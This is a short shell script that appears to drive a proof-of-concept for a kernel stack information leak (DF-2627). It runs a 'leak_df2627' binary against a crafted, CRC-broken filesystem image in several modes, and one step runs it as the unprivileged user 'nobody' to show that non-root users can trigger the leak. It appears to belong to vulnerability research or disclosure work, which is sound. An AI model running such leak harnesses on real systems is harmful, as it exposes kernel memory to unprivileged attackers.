DF-2627 / run_guest.sh
#!/bin/sh # DF-2627 run (guest): full leak battery on the CRC-broken image. # Expects: vn0 = craft2627.img mounted at /mnt/h2x (done by caller). cd /root/poc/df2627 echo "=== env ===" uname -a sysctl vfs.usermount kern.maxfiles 2>/dev/null mount | grep h2x echo "=== sanity: cookie should be 2 (last good offset) if no bug; here it is stack ===" ./leak_df2627 /mnt/h2x 5 n echo "=== A: mode n, 150 in-process iterations ===" ./leak_df2627 /mnt/h2x 150 n echo "=== B: mode f (fresh fork per sample), 150 iterations ===" ./leak_df2627 /mnt/h2x 150 f echo "=== C: mode o (open+fstat+close prime), 150 iterations ===" ./leak_df2627 /mnt/h2x 150 o p0 echo "=== D: mode r (healthy-dir readdir prime), 100 iterations ===" ./leak_df2627 /mnt/h2x 100 r "" /mnt echo "=== E: unprivileged user (nobody), mode n then f, 100 each ===" cp ./leak_df2627 /tmp/leak_df2627 && chmod 755 /tmp/leak_df2627 chmod 755 /mnt/h2x su -m nobody -c '/tmp/leak_df2627 /mnt/h2x 100 n' su -m nobody -c '/tmp/leak_df2627 /mnt/h2x 100 f' echo "=== F: unmount still works (no wedge) ===" echo "umount test deferred to caller" echo BATTERY_DONE |